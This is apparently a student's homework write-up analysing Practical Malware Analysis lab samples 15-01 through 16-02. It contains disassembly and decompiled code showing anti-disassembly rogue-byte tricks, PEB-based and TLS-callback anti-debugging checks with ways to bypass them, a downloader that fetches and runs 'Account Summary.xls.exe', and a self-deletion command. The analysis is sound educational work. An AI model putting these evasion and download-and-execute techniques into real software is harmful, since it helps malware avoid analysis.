NTU Malware Reverse HW 3 write up
tags: NTU_MR
Malware Reverse Engineering and Analysis
[TOC] | Name| 何秉學 |StuID| R11921A16| | ——– | ——– | ——– | ——– |
Task 1: Lab 15-01.exe
Observation
- When I execute the file, it print out a message:
Son, I am disappoint.
Refer to the description below, I must enter some parameter that match the secret code.Analyze the sample found in the file
Lab15-01.exe
. This is a command-line program that takes an argument and printsGood Job!
if the argument matches a secret code.Therefore, I use
IDA Pro
to disassembly the source code directly. However, it has anti-disassembly code in this program and try to makeIDA Pro
not working properly like the red font shown as below.- Note that, if you want to see the byte code, just click
Option/General
and changeNumber of opcode bytes(non-graph)
from 0 to 6.
- Note that, if you want to see the byte code, just click
- In this case, we can observe the first red code block first.(8B4C55A0h)
... .text:0040100C 33 C0 xor eax, eax .text:0040100E 74 01 jz short near ptr loc_401010+1 .text:00401010 .text:00401010 loc_401010:; CODE XREF: .text:0040100E↑j .text:00401010 E8 8B 45 0C 8B call near ptr 8B4C55A0h .text:00401015 48 dec eax .text:00401016 04 0F add al, 0Fh .text:00401018 BE 11 83 FA 70 mov esi, 70FA8311h .text:0040101D 75 3F jnz short loc_40105E ...
Lecture Note P27-P28
Refer to background of jz/jnz, the commandxor eax eax
will clear registereax
and setZ
flag as1
(represent it’s zero). Therefore, the next command will alwaysTrue
that will jump toloc_401010+1
. Because,IDA Pro
observe this jump command, it set the jump location atloc_401010+1
. But, this conditional jump is actually unconditional and the jump location is misdirection. It thought the command will begin atE8
but actually it’ll begin at8B
.Lecture Note P22
Therefore, we must guideIDA Pro
to a right way like below.... .text:0040100C 33 C0 xor eax, eax .text:0040100E 74 01 jz short loc_401011 .text:0040100E ; ------------------------------- .text:00401010 E8 db 0E8h .text:00401011 ; ------------------------------- .text:00401011 .text:00401011 loc_401011:; CODE XREF: .text:0040100E↑j .text:00401011 8B 45 0C mov eax, [ebp+0Ch] .text:00401011 ; ------------------------------- .text:00401014 8B db 8Bh ; ‹ .text:00401015 ; ------------------------------- .text:00401015 48 dec eax .text:00401016 04 0F add al, 0Fh .text:00401018 BE 11 83 FA 70 mov esi, 70FA8311h .text:0040101D 75 3F jnz short loc_40105E ...
Lecture Note P29
You can see that jumping location turn to correctly namedloc_401011
. In addition, we found the rogue byte(流氓字節),E8
, and turn into database(db
). Then, we just keep doing this process and turn rogue byte to data.- Note that, in
.text:00401014
,IDA Pro
judge8B
is a data. However, after the correction of rogue byte, it should be transfer one by one. That is,8B
should be an opcode instead a data, so you must change it by hand just as below. You’ll see a huge difference to previous version..text:00401011 loc_401011:; CODE XREF: .text:0040100E↑j .text:00401011 8B 45 0C mov eax, [ebp+0Ch] .text:00401014 8B 48 04 mov ecx, [eax+4] .text:00401017 0F BE 11 movsx edx, byte ptr [ecx] .text:0040101A 83 FA 70 cmp edx, 70h .text:0040101D 75 3F jnz short loc_40105E
- Note that, in
-
Rogue Byte 2
- Before(8B4C55B3h)
... .text:0040101F 33 C0 xor eax, eax .text:00401021 74 01 jz short near ptr loc_401023+1 .text:00401023 .text:00401023 loc_401023:; CODE XREF: .text:00401021↑j .text:00401023 E8 8B 45 0C 8B call near ptr 8B4C55B3h .text:00401028 48 dec eax .text:00401029 04 0F add al, 0Fh .text:0040102B BE 51 02 83 FA mov esi, 0FA830251h .text:00401030 71 75 jno short near ptr loc_4010A4+3 .text:00401032 2B 33 sub esi, [ebx] .text:00401034 C0 74 01 E8 8B sal byte ptr [ecx+eax-18h], 8Bh ...
- After
... .text:0040101F 33 C0 xor eax, eax .text:00401021 74 01 jz short loc_401024 .text:00401021 ; ----------------------------- .text:00401023 E8 db 0E8h .text:00401024 ; ----------------------------- .text:00401024 .text:00401024 loc_401024:; CODE XREF: .text:00401021↑j .text:00401024 8B 45 0C mov eax, [ebp+0Ch] .text:00401024 ; ----------------------------- .text:00401027 8B db 8Bh ; ‹ .text:00401028 ; ----------------------------- .text:00401028 48 dec eax .text:00401029 04 0F add al, 0Fh .text:0040102B BE 51 02 83 FA mov esi, 0FA830251h .text:00401030 71 75 jno short near ptr loc_4010A4+3 .text:00401032 2B 33 sub esi, [ebx] .text:00401034 C0 74 01 E8 8B sal byte ptr [ecx+eax-18h], 8Bh ...
- Final
... .text:0040101F 33 C0 xor eax, eax .text:00401021 74 01 jz short loc_401024 .text:00401021 ; ----------------------------- .text:00401023 E8 db 0E8h .text:00401024 ; ----------------------------- .text:00401024 .text:00401024 loc_401024:; CODE XREF: .text:00401021↑j .text:00401024 8B 45 0C mov eax, [ebp+0Ch] .text:00401027 8B 48 04 mov ecx, [eax+4] .text:0040102A 0F BE 51 02 movsx edx, byte ptr [ecx+2] .text:0040102E 83 FA 71 cmp edx, 71h .text:00401031 75 2B jnz short loc_40105E .text:00401033 33 C0 xor eax, eax .text:00401035 74 01 jz short near ptr loc_401037+1 ...
- Before(8B4C55B3h)
-
Rogue Byte hidden(It’s a hidden misdirection)
- Before(8B4C55C7h)
... .text:00401033 33 C0 xor eax, eax .text:00401035 74 01 jz short near ptr loc_401037+1 .text:00401037 .text:00401037 loc_401037:; CODE XREF: .text:00401035↑j .text:00401037 E8 8B 45 0C 8B call near ptr 8B4C55C7h .text:0040103C 48 dec eax .text:0040103D 04 0F add al, 0Fh .text:0040103F BE 51 01 83 FA mov esi, 0FA830151h .text:00401044 db 64h .text:00401044 64 75 17 jnz short loc_40105E ...
- After
... .text:00401033 33 C0 xor eax, eax .text:00401035 74 01 jz short loc_401038 .text:00401035 ; ----------------------------- .text:00401037 E8 db 0E8h .text:00401038 ; ----------------------------- .text:00401038 .text:00401038 loc_401038:; CODE XREF: .text:00401035↑j .text:00401038 8B 45 0C mov eax, [ebp+0Ch] .text:00401038 ; ----------------------------- .text:0040103B 8B db 8Bh ; ‹ .text:0040103C ; ----------------------------- .text:0040103C 48 dec eax .text:0040103D 04 0F add al, 0Fh .text:0040103F BE 51 01 83 FA mov esi, 0FA830151h .text:00401044 db 64h .text:00401044 64 75 17 jnz short loc_40105E ...
- Final
... .text:00401033 33 C0 xor eax, eax .text:00401035 74 01 jz short loc_401038 .text:00401035 ; ----------------------------- .text:00401037 E8 db 0E8h .text:00401038 ; ----------------------------- .text:00401038 .text:00401038 loc_401038:; CODE XREF: .text:00401035↑j .text:00401038 8B 45 0C mov eax, [ebp+0Ch] .text:0040103B 8B 48 04 mov ecx, [eax+4] .text:0040103E 0F BE 51 01 movsx edx, byte ptr [ecx+1] .text:00401042 83 FA 64 cmp edx, 64h .text:00401045 75 17 jnz short loc_40105E ...
- Before(8B4C55C7h)
-
Rogue Byte 3
- Before(407020B8h)
... .text:00401047 33 C0 xor eax, eax .text:00401049 74 01 jz short near ptr loc_40104B+1 .text:0040104B .text:0040104B loc_40104B:; CODE XREF: .text:00401049↑j .text:0040104B E8 68 10 30 40 call near ptr 407020B8h .text:00401050 00 FF add bh, bh .text:00401052 15 00 20 40 00 adc eax, offset printf .text:00401057 83 C4 04 add esp, 4
- After
... .text:00401047 33 C0 xor eax, eax .text:00401049 74 01 jz short loc_40104C .text:00401049 ; ---------------------------------- .text:0040104B E8 db 0E8h .text:0040104C ; ---------------------------------- .text:0040104C .text:0040104C loc_40104C:; CODE XREF: .text:00401049↑j .text:0040104C 68 10 30 40 00 push offset aGoodJob ; "Good Job!" .text:0040104C ; ---------------------------------- .text:00401051 FF db 0FFh ; ÿ .text:00401052 ; ---------------------------------- .text:00401052 15 00 20 40 00 adc eax, offset printf .text:00401057 83 C4 04 add esp, 4 .text:0040105A 33 C0 xor eax, eax .text:0040105C EB 15 jmp short loc_401073 ...
- Final
... .text:00401047 33 C0 xor eax, eax .text:00401049 74 01 jz short loc_40104C .text:00401049 ; ---------------------------------- .text:0040104B E8 db 0E8h .text:0040104C ; ---------------------------------- .text:0040104C .text:0040104C loc_40104C:; CODE XREF: .text:00401049↑j .text:0040104C 68 10 30 40 00 push offset aGoodJob ; "Good Job!" .text:00401051 FF 15 00 20 40 00 call ds:printf .text:00401057 83 C4 04 add esp, 4 .text:0040105A 33 C0 xor eax, eax .text:0040105C EB 15 jmp short loc_401073 ...
- Before(407020B8h)
-
Rogue Byte 4
- Before
... .text:0040105E 33 C0 xor eax, eax .text:00401060 74 01 jz short near ptr loc_401062+1 .text:00401062 .text:00401062 loc_401062:; CODE XREF: .text:00401060↑j .text:00401062 E8 68 1C 30 40 call near ptr 40702CCFh .text:00401067 00 FF add bh, bh .text:00401069 15 00 20 40 00 adc eax, offset printf .text:0040106E 83 C4 04 add esp, 4 .text:00401071 33 C0 xor eax, eax ...
- After
... .text:0040105E 33 C0 xor eax, eax .text:00401060 74 01 jz short loc_401063 .text:00401060 ; ------------------------------------- .text:00401062 E8 db 0E8h .text:00401063 ; ------------------------------------- .text:00401063 .text:00401063 loc_401063:; CODE XREF: .text:00401060↑j .text:00401063 68 1C 30 40 00 push offset aSonIAmDisappoi ; "Son, I am disappoint." .text:00401063 ; ------------------------------------- .text:00401068 FF db 0FFh ; ÿ .text:00401069 ; ------------------------------------- .text:00401069 15 00 20 40 00 adc eax, offset printf .text:0040106E 83 C4 04 add esp, 4 .text:00401071 33 C0 xor eax, eax ...
- Final
... .text:0040105E 33 C0 xor eax, eax .text:00401060 74 01 jz short loc_401063 .text:00401060 ; ------------------------------------- .text:00401062 E8 db 0E8h .text:00401063 ; ------------------------------------- .text:00401063 .text:00401063 loc_401063:; CODE XREF: .text:00401060↑j .text:00401063 68 1C 30 40 00 push offset aSonIAmDisappoi ; "Son, I am disappoint." .text:00401068 FF 15 00 20 40 00 call ds:printf .text:0040106E 83 C4 04 add esp, 4 .text:00401071 33 C0 xor eax, eax ...
- Before
- Almost Done. However, you’ll encounter another problem that can not use
F5
to disassembly. A window saidplease position the cursor within a function
. Refer to this page can check the problem and solution. After you address this problem then you can disassembly by pressingF5
.int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax if ( argc != 2 || *argv[1] != 'p' || argv[1][2] != 'q' || argv[1][1] != 'd' ) { printf(aSonIAmDisappoi); result = 0; } else { printf(Format); result = 0; } return result; }
By observing this code, we can recognize the secret code
pdq
(Note that, must be a correct sequence)
Question
- What anti-disassembly technique is used in this binary?
Ans:
Refer to background of jz/jnz, the command
xor eax eax
will clear registereax
and setZ
flag as1
(represent it’s zero). Therefore, the next command will alwaysTrue
that will jump toloc_401010+1
. Because,IDA Pro
observe this jump command, it set the jump location atloc_401010+1
. But, this conditional jump is actually unconditional and the jump location is misdirection. It thought the command will begin atE8
but actually it’ll begin at8B
. - What rogue opcode is the disassembly tricked into disassembling? Ans: Opcode `0xE8`
- How many times is this technique used?
Ans:
5 times as below
1
2
3
4
5.text:00401010 E8 8B 45 0C 8B call near ptr 8B4C55A0h .text:00401023 E8 8B 45 0C 8B call near ptr 8B4C55B3h .text:00401023 E8 8B 45 0C 8B call near ptr 8B4C55B3h .text:0040104B E8 68 10 30 40 call near ptr 407020B8h .text:00401062 E8 68 1C 30 40 call near ptr 40702CCFh
- What command-line argument will cause the program to print “Good Job!”?
Ans:
pdq
Task 2: Lab 15-02.exe
Observation
First things first, we can observe that this files has anti-disassembly section. Therefore, before disassembling, we must fix the jump location to correct address. And, the detail of how to fix it can refer last problem.
Fix
- Before(`0AA11CDh`)
... .text:0040115A 85 E4 test esp, esp .text:0040115C 75 01 jnz short near ptr loc_40115E+1 .text:0040115E .text:0040115E loc_40115E:; CODE XREF: .text:0040115C↑j .text:0040115E E9 6A 00 6A 00 jmp near ptr 0AA11CDh .text:0040115E ; --------------------------- .text:00401163 6A db 6Ah ...
- After
... .text:0040115A 85 E4 test esp, esp .text:0040115C 75 01 jnz short loc_40115F .text:0040115C ; --------------------------- .text:0040115E E9 db 0E9h .text:0040115F ; --------------------------- .text:0040115F .text:0040115F loc_40115F:; CODE XREF: .text:0040115C↑j .text:0040115F 6A 00 push 0 .text:00401161 6A 00 push 0 .text:00401163 6A 00 push 0 .text:00401165 6A 00 push 0 .text:00401167 E8 1A 02 00 00 call sub_401386 ...
- Before(`40704241h`)
... .text:004011D0 33 C0 xor eax, eax .text:004011D2 74 01 jz short near ptr loc_4011D4+1 .text:004011D4 .text:004011D4 loc_4011D4:; CODE XREF: .text:004011D2↑j .text:004011D4 E8 68 30 30 40 call near ptr 40704241h .text:004011D9 00 8D 95 60 FD FE add [ebp-1029F6Bh], cl .text:004011DF FF 52 FF call dword ptr [edx-1] .text:004011E2 15 2C 20 40 00 adc eax, offset strstr ...
- After
... .text:004011D0 33 C0 xor eax, eax .text:004011D2 74 01 jz short loc_4011D5 .text:004011D2 ; --------------------------- .text:004011D4 E8 db 0E8h .text:004011D5 ; --------------------------- .text:004011D5 .text:004011D5 loc_4011D5:; CODE XREF: .text:004011D2↑j .text:004011D5 68 30 30 40 00 push offset aBamboo ; "Bamboo::" .text:004011DA 8D 95 60 FD FE FF lea edx, [ebp-102A0h] .text:004011E0 52 push edx .text:004011E1 FF 15 2C 20 40 00 call ds:strstr ...
- Before(`loc_401215`)
... .text:00401215 loc_401215:; CODE XREF: .text:loc_401215↑j .text:00401215 EB FF jmp short near ptr loc_401215+1 .text:00401215 ; --------------------------- .text:00401217 C0 db 0C0h ; À .text:00401218 48 db 48h ; H .text:00401219 E8 db 0E8h ; è .text:0040121A F1 db 0F1h ; ñ ...
- After
... .text:00401212 ; --------------------------- .text:00401215 EB db 0EBh .text:00401216 ; --------------------------- .text:00401216 FF C0 inc eax .text:00401218 48 dec eax .text:00401219 E8 F1 00 00 00 call sub_40130F .text:0040121E 89 85 58 FD FE FF mov [ebp-102A8h], eax .text:00401224 68 00 00 A0 00 push 0A00000h .text:00401229 FF 15 28 20 40 00 call ds:malloc .text:0040122F 83 C4 04 add esp, 4 .text:00401232 89 85 54 FD FE FF mov [ebp-102ACh], eax .text:00401238 8B 8D 68 FD FF FF mov ecx, [ebp-298h] .text:0040123E 83 C1 08 add ecx, 8 .text:00401241 89 8D 68 FD FF FF mov [ebp-298h], ecx .text:00401247 6A 00 push 0 .text:00401249 6A 00 push 0 .text:0040124B 6A 00 push 0 .text:0040124D 6A 00 push 0 .text:0040124F 8B 95 68 FD FF FF mov edx, [ebp-298h] .text:00401255 52 push edx .text:00401256 8B 85 5C FD FE FF mov eax, [ebp-102A4h] .text:0040125C 50 push eax .text:0040125D FF 15 64 20 40 00 call ds:InternetOpenUrlA .text:00401263 89 85 64 FD FF FF mov [ebp-29Ch], eax ...
Lecture Note P26
- Before(`0FF3C9FFFh`)
... .text:00401269 74 03 jz short near ptr loc_40126D+1 .text:0040126B 75 01 jnz short near ptr loc_40126D+1 .text:0040126D .text:0040126D loc_40126D:; CODE XREF: .text:00401269↑j .text:0040126D ; .text:0040126B↑j .text:0040126D E8 8D 8D FC FE call near ptr 0FF3C9FFFh .text:0040126D ; --------------------------- .text:00401272 FF db 0FFh ; ÿ .text:00401273 FF db 0FFh ; ÿ .text:00401274 51 db 51h ; Q .text:00401275 68 db 68h ; h ...
- After
... .text:00401269 74 03 jz short loc_40126E .text:0040126B 75 01 jnz short loc_40126E .text:0040126B ; --------------------------- .text:0040126D E8 db 0E8h .text:0040126E ; --------------------------- .text:0040126E .text:0040126E loc_40126E:; CODE XREF: .text:00401269↑j .text:0040126E ; .text:0040126B↑j .text:0040126E 8D 8D FC FE FF FF lea ecx, [ebp-104h] .text:00401274 51 push ecx ...
- Before(`0AA1D5Dh`)
... .text:004012E6 loc_4012E6:; CODE XREF: .text:004012EC↓j .text:004012E6 66 B8 EB 05 mov ax, 5EBh .text:004012EA 31 C0 xor eax, eax .text:004012EC 74 FA jz short near ptr loc_4012E6+2 .text:004012EE E8 6A 0A 6A 00 call near ptr 0AA1D5Dh .text:004012F3 6A 00 push 0 ...
- After
... .text:004012E3 ; --------------------------- .text:004012E6 66 db 66h .text:004012E7 B8 db 0B8h ; ¸ .text:004012E8 ; --------------------------- .text:004012E8 .text:004012E8 loc_4012E8:; CODE XREF: .text:004012EC↓j .text:004012E8 EB 05 jmp short loc_4012EF .text:004012EA ; --------------------------- .text:004012EA 31 C0 xor eax, eax .text:004012EC 74 FA jz short loc_4012E8 .text:004012EC ; --------------------------- .text:004012EE E8 db 0E8h .text:004012EF ; --------------------------- .text:004012EF .text:004012EF loc_4012EF:; CODE XREF: .text:loc_4012E8↑j .text:004012EF 6A 0A push 0Ah .text:004012F1 6A 00 push 0 ...
Analyze
- After fixing the misdirection location, we can use disassembly function properly.
int __cdecl main(int argc, const char **argv, const char **envp) { ... Buffer = 0; memset(&v8, 0, 65532u); v9 = 0; v10 = 0; if ( WSAStartup(514u, &WSAData) ) return -1; if ( gethostname(name, 256) ) { for ( i = 0; i < 256 && name[i]; ++i ) { switch ( name[i] ) { case 'Z': name[i] = 'A'; break; case 'z': name[i] = 'a'; break; case '9': name[i] = '0'; break; default: ++name[i]; break; } } hInternet = InternetOpenA(name, 1u, 0, 0, 0); if ( !&v5 ) JUMPOUT(*(_DWORD *)&byte_40115E); v4 = sub_401386(); hFile = InternetOpenUrlA(hInternet, v4, 0, 0, 0, 0); ... }
-
You can see that in line `34`. It call a function
sub_401386()
and set the return value asInterneetOpenUrlA
’s parameter. Insub_401386()
, it contains lots of string which seems a URL address named **`http://practicalmalwareanalysis.com/bamboo.html`** andInterneetOpenUrlA
will visit this URL. - Continue analyzing line `30`, refer to Microsoft Document
HINTERNET InternetOpenA( [in] LPCSTR lpszAgent, [in] DWORD dwAccessType, [in] LPCSTR lpszProxy, [in] LPCSTR lpszProxyBypass, [in] DWORD dwFlags );
[in] lpszAgent Pointer to a null-terminated string that specifies the name of the application or entity calling the WinINet functions. This name is used as the user agent in the HTTP protocol.
We can check
user-agent
in first parameter,name
, ofInternetOpenA
function. Trace back to line `10` and refer to CSDN Description, this API will return host name from local host. In for-loop, it’ll transfer the host name. Each charZ
→A
,z
→a
,9
→0
. In addition, the default method is increasing 1.1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20... for ( i = 0; i < 256 && name[i]; ++i ) { switch ( name[i] ) { case 'Z': name[i] = 'A'; break; case 'z': name[i] = 'a'; break; case '9': name[i] = '0'; break; default: ++name[i]; break; } } ...
- Continue analyzing line `12`
int __cdecl main(int argc, const char **argv, const char **envp) { ... if ( gethostname(name, 256) ) { ... hInternet = InternetOpenA(name, 1u, 0, 0, 0); if ( !&v5 ) JUMPOUT(*(_DWORD *)&byte_40115E); v4 = sub_401386(); hFile = InternetOpenUrlA(hInternet, v4, 0, 0, 0, 0); if ( hFile && InternetReadFile(hFile, &Buffer, 65535u, &dwNumberOfBytesRead) ) { InternetCloseHandle(hFile); Str = strstr(&Buffer, SubStr); if ( Str ) { *strstr(Str, asc_40303C) = 0; JUMPOUT(*(_DWORD *)&byte_401215); } result = 0; } ... } ... }
- We initialize the internet by
InternetOpenA
and open an URL byInternetOpenUrlA
, then we download the data to local buffer byInternetReadFile
.- Note that, refer to Microsoft Document. It’ll store the data from open URL to
&Buffer
.Reads data from a handle opened by the
InternetOpenUrl
,FtpOpenFile
, orHttpOpenRequest
function.BOOL InternetReadFile( [in] HINTERNET hFile, [out] LPVOID lpBuffer, [in] DWORD dwNumberOfBytesToRead, [out] LPDWORD lpdwNumberOfBytesRead );
[out] lpBuffer Pointer to a buffer that receives the data.
- Note that, refer to Microsoft Document. It’ll store the data from open URL to
- Then, we use
strstr
function(refer to this page) in line `15` to find the firstSubStr
in&Buffer
and return the position ofSubStr
if it exist, otherwise, returnnull
. What is variable ofSubStr
? →Bamboo::
.data:00403030 42 61 6D 62 6F 6F+SubStr db 'Bamboo::',0
- We initialize the internet by
- Because
IDA
can not show the following disassembly code, we just check out the source code instead. Refer to the write up on CSDN.- The following code is aim to search the string
::
by usingstrstr
function. In addition, in line `.text:00401212`, it move0
toptr [eax]
. That means put0
to the first:
in::
. It was used to terminate the string betweenBamboo::
and::
. - In line `.text:0040123E`,
ecx+8
meansStr+8
and that aim to jump over the stringBamboo::
whose length is also8
. -
Then, use
InternetOpenUrlA
in line `.text:0040125D` to open URL.text:004011FD push offset asc_40303C ; "::" .text:00401202 mov eax, [ebp+Str] .text:00401208 push eax ; Str .text:00401209 call ds:strstr .text:0040120F add esp, 8 .text:00401212 mov byte ptr [eax], 0 .text:00401212 ; ------------------------------- .text:00401215 byte_401215 db 0EBh .text:00401216 ; ------------------------------- .text:00401216 inc eax .text:00401218 dec eax .text:00401219 call account_summary .text:0040121E mov [ebp+Filename], eax .text:00401224 push 0A00000h ; Size .text:00401229 call ds:malloc .text:0040122F add esp, 4 .text:00401232 mov [ebp+lpBuffer], eax .text:00401238 mov ecx, [ebp+Str] .text:0040123E add ecx, 8 .text:00401241 mov [ebp+Str], ecx .text:00401247 push 0 ; dwContext .text:00401249 push 0 ; dwFlags .text:0040124B push 0 ; dwHeadersLength .text:0040124D push 0 ; lpszHeaders .text:0040124F mov edx, [ebp+Str] .text:00401255 push edx ; lpszUrl .text:00401256 mov eax, [ebp+hInternet] .text:0040125C push eax ; hInternet .text:0040125D call ds:InternetOpenUrlA .text:00401263 mov [ebp+hFile], eax .text:00401269 jz short loc_40126E
- Use
InternetReadFile
to store the data in the file..text:0040126E loc_40126E: ; CODE XREF: _main+269↑j .text:0040126E ; _main+26B↑j .text:0040126E lea ecx, [ebp+dwNumberOfBytesRead] .text:00401274 push ecx ; lpdwNumberOfBytesRead .text:00401275 push 10000h ; dwNumberOfBytesToRead .text:0040127A mov edx, [ebp+lpBuffer] .text:00401280 push edx ; lpBuffer .text:00401281 mov eax, [ebp+hFile] .text:00401287 push eax ; hFile .text:00401288 call ds:InternetReadFile .text:0040128E test eax, eax .text:00401290 jz short loc_401306
- The file name store in
ecx
register. Andecx
is associated withFilename
at line `.text:004012A0`. Therefore, we trace back to where it from at line `.text:0040121E`.text:0040129B push offset Mode ; "wb" .text:004012A0 mov ecx, [ebp+Filename] .text:004012A6 push ecx ; Filename .text:004012A7 call ds:fopen .text:004012AD add esp, 8 .text:004012B0 mov [ebp+File], eax .text:004012B6 mov edx, [ebp+File] .text:004012BC push edx ; File .text:004012BD push 1 ; Count .text:004012BF mov eax, [ebp+dwNumberOfBytesRead] .text:004012C5 push eax ; Size .text:004012C6 mov ecx, [ebp+lpBuffer] .text:004012CC push ecx ; Str .text:004012CD call ds:fwrite .text:004012D3 add esp, 10h .text:004012D6 mov edx, [ebp+File] .text:004012DC push edx ; File .text:004012DD call ds:fclose .text:004012E3 add esp, 4
- Following the code below,
eax
register is the return value from functionaccount_summary
. Then, we can trace back to what functionaccount_summary
is..text:00401219 call account_summary .text:0040121E mov [ebp+Filename], eax .text:00401224 push 0A00000h ; Size
- The image below is the function
accout_summary
. By concatenating the whole characters → `Account Summary.xls.exe`. And this is the file name that we download the data from URL.
- Following the code below,
- Then, it used
ShellExecuteA
to execute this file and quit the process directly..text:004012EF loc_4012EF: ; CODE XREF: _main:loc_4012E8↑j .text:004012EF push 0Ah ; nShowCmd .text:004012F1 push 0 ; lpDirectory .text:004012F3 push 0 ; lpParameters .text:004012F5 mov eax, [ebp+Filename] .text:004012FB push eax ; lpFile .text:004012FC push 0 ; lpOperation .text:004012FE push 0 ; hwnd .text:00401300 call ds:ShellExecuteA
- The following code is aim to search the string
Question
- What URL is initially requested by the program?
Ans:
http://practicalmalwareanalysis.com/bamboo.html
- How is the User-Agent generated?
Ans:
Trace back to line `10` and refer to CSDN Description, this API will return host name from local host. In for-loop, it’ll transfer the host name. Each char
Z
→A
,z
→a
,9
→0
. In addition, the default method is increasing 1. - What does the program look for in the page it initially requests?
Ans:
Bamboo::
- What does the program do with the information it extracts from the page?
Ans:
In addition to search the string
Bamboo::
, the process search another string::
which is transferred to aNULL
(terminate symbol). The whole string betweenBamboo::
and terminated symbol were be downloaded to file namedAccount Summary.xls.exe
and executing the file after the downloading.
Task 3: Lab 16-01.exe
Observation
When I execute this file, it seems to do nothing except delete itself, even I didn’t open x32dbg
. And refer to this problem description, we can aware that this file exist anti-debugging function to prevent our work.
Analysis
- First things first, we use
IDA Pro
to do static analysis. To use graph view to observe the whole structure in this program.We can see that a lots of
sub_401000
infalse
statement afterif
statement. So, step into this sub function as below.void __noreturn sub_401000() { CHAR Filename; // [esp+Ch] [ebp-208h] CHAR Parameters; // [esp+110h] [ebp-104h] GetModuleFileNameA(0, &Filename, 260u); GetShortPathNameA(&Filename, &Filename, 260u); strcpy(&Parameters, aCDel); strcat(&Parameters, &Filename); strcat(&Parameters, aNul); ShellExecuteA(0, 0, File, &Parameters, 0, 0); exit(0); }
What is
&Parameters
? → Like a buffer store nothing. What isaCDel
? →db '/c del ',0
What isaNul
? →db ' >> NUL',0
It used
strcpy
andstrcat
function to construct a shell code,/c del $Filename >> NUL
, which will delete the file that can not retrieve. Check this.So, our purpose is let
if-statement
be true and skipsub_401000
function. -
x32dbg
Therefore, we usedx32dbg
to analyze it.- 1st
sub_401000
at `0040356E`Set
EAX
be0
so that we can skip the delete function.Refer to
Lecture Note P59
,fs:[30]
is the reference location ofPEB(Microsoft Document)
, and this is obviously checking theBeingDebugged
flag.(Notice that[eax+2]
meansPEB
table’s 2nd position →BeingDebugged
)... .text:00403554 mov eax, large fs:30h .text:0040355A mov bl, [eax+2] .text:0040355D mov [ebp+var_1820], bl .text:00403563 movsx eax, [ebp+var_1820] .text:0040356A test eax, eax .text:0040356C jz short loc_403573 .text:0040356E call sub_401000 ...
- 2nd
sub_401000
at `0040358F`Double click
ZF
to set it as1
, then you can skip delete functionRefer to
Lecture Note P60
,[eax+18h]
is obviously checkedProcessHeap
flag1
2
3
4
5
6
7
8
9
10
11... .text:00403573 loc_403573:; CODE XREF: _main+3C↑j .text:00403573 mov eax, large fs:30h .text:00403579 mov eax, [eax+18h] .text:0040357C db 3Eh .text:0040357C mov eax, [eax+10h] .text:00403580 mov [ebp+var_1824], eax .text:00403586 cmp [ebp+var_1824], 0 .text:0040358D jz short loc_403594 .text:0040358F call sub_401000 ...
- 3rd
sub_401000
at `004035B0`Set
EAX
be0
so that we can skip the delete function.Refer to
Lecture Note P62
,[eax+68h]
is obviously checkedNTGlobalFlag
.1
2
3
4
5
6
7
8
9
10
11... .text:00403594 loc_403594:; CODE XREF: _main+5D↑j .text:00403594 mov eax, large fs:30h .text:0040359A db 3Eh .text:0040359A mov eax, [eax+68h] .text:0040359E sub eax, 70h .text:004035A1 mov [ebp+var_1828], eax .text:004035A7 cmp [ebp+var_1828], 0 .text:004035AE jnz short loc_4035B5 .text:004035B0 call sub_401000 ...
- 1st
- After these fixing, we can normally analyze this sample like
Lab9-1
.
Question
- Which anti-debugging techniques does this malware employ?
Ans:
checked
BeingDebugged
flag checkedProcessHeap
flag checkedNTGlobalFlag
- What happens when each anti-debugging technique succeeds?
Ans:
When the compare function succeed, it’ll execute
sub_401000
function that will delete the file itself. - How can you get around these anti-debugging techniques?
Ans:
Set
EAX
be0
at0040356A
to get aroundBeingDebugged
checking. Double clickZF
to set it as1
at0040358D
to get aroundProcessHeap
checking. SetEAX
be0
at0040359E
to get aroundNTGlobalFlag
checking. - How do you manually change the structures checked during run time? Ans: Just like what I showed above.
- Which
OllyDbg
plug-in will protect you from the anti-debugging techniques used by this malware? Ans: Refer toStackExchange
, some people suggestedScyllaHide
which is an open-source, actively developed anti-anti debug plugin. There are many hiding options in it. In addition, refer to other write up, they suggestHyde
,HideOD
. Moreover, refer to other write up, they suggestPhontOm
plugin can
Task 4: Lab 16-02.exe
Observation
First things first, I execute this sample without parameters and it seems to need a 4 character password.
Analyze
-
IDA Pro
- Before using graph view, we must observe the whole program including the code before the main function to check if it has
TLS Callback
as below.- Note that, what is
TLS
can check this page
- Note that, what is
-
**`Lecture Note P76`**
Using graph view in
IDA
. If it find a window namedOLLYDBG($ ClassName)
, it’ll exit the process directly, otherwise, executesub_401020()
.1
2
3
4
5
6
7void __stdcall TlsCallback_0(int a1, int a2, int a3) { if ( a2 == 1 && FindWindowA(ClassName, 0) ) exit(0); if ( a2 == 2 ) sub_401020(); }
- Now let’s check main function in
IDA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax DWORD ThreadId; // [esp+0h] [ebp-8h] int v5; // [esp+4h] [ebp-4h] v5 = 1; if ( argc == 1 ) { printf(aUsageS4Charact, *argv); result = 0; } else { CreateThread(0, 0, StartAddress, 0, 0, &ThreadId); Sleep(1000u); v5 = strncmp(argv[1], &byte_408030, 4u); if ( v5 ) printf(aIncorrectPassw); else printf(aYouEnteredTheC); result = 0; } return result; }
- Note that,
sub_402148
is just like Task 1 in HW1 is aprintf
function.
- Note that,
- Before using graph view, we must observe the whole program including the code before the main function to check if it has
Question
- What happens when you run
Lab16-02.exe
from the command line? Ans: First things first, I execute this sample without parameters and it seems to need a 4 character password. - What happens when you run
Lab16-02.exe
and guess the command-line parameter? Ans: -
What is the command-line password? Ans:
-
Load
Lab16-02.exe
into IDA Pro. Where in the main function isstrncmp
found? Ans:strncmp
was found at.tls:0040123A
.And according to the disassembly code that shown above, it aim to compare
&byte_408030
with 4 bytes(**`P}ÿÿ`**). - What happens when you load this malware into
OllyDbg
using the default settings? Ans: It terminated directly without any analyzing. - What is unique about the PE structure of
Lab16-02.exe
? Ans: UsingPEview
to check the header and find it hasTLS Table
. - Where is the callback located? (Hint: Use
CTRL-E
in IDA Pro.) Ans: Follow the hint, I found the callback location forTlsCallback_0
is401060
. - Which anti-debugging technique is the program using to terminate immediately in the debugger and how can you avoid this check?
Ans:
- By the observation above, it’s obviously using
TLS callback
technique beforemain()
to check if the user usesOllydbg
or not. - The simplest way to bypass this technique is using
HxD
tool to amendjz
tojnz
at00401078
